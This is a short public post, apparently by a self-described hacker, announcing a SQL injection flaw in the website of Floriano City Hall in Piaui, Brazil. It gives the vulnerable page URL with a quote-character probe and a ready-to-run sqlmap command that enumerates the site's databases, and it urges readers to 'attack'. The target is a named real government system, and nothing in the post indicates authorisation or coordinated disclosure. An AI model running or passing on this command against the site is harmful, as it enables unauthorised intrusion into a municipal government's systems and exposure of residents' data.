hello friends, how are you? I'm here to show you a flaw that I found at the Floriano City Hall, in Piaui, Brazil. Hacker: uRomulou Website: https://www.floriano.pi.gov.br/ Vulnerability: SQL Injection Method GET concept proof 1 . go to the site with the vulnerability >> https://www.floriano.pi.gov.br/galeria.php?id=5%27 2 . will not return errors, as sql failures do not always return errors. 3. and attack! you can use tools like sqlmap or others. an example using sqlmap : sqlmap --random-agent --batch --url https://www.floriano.pi.gov.br/galeria.php?id=5 --dbs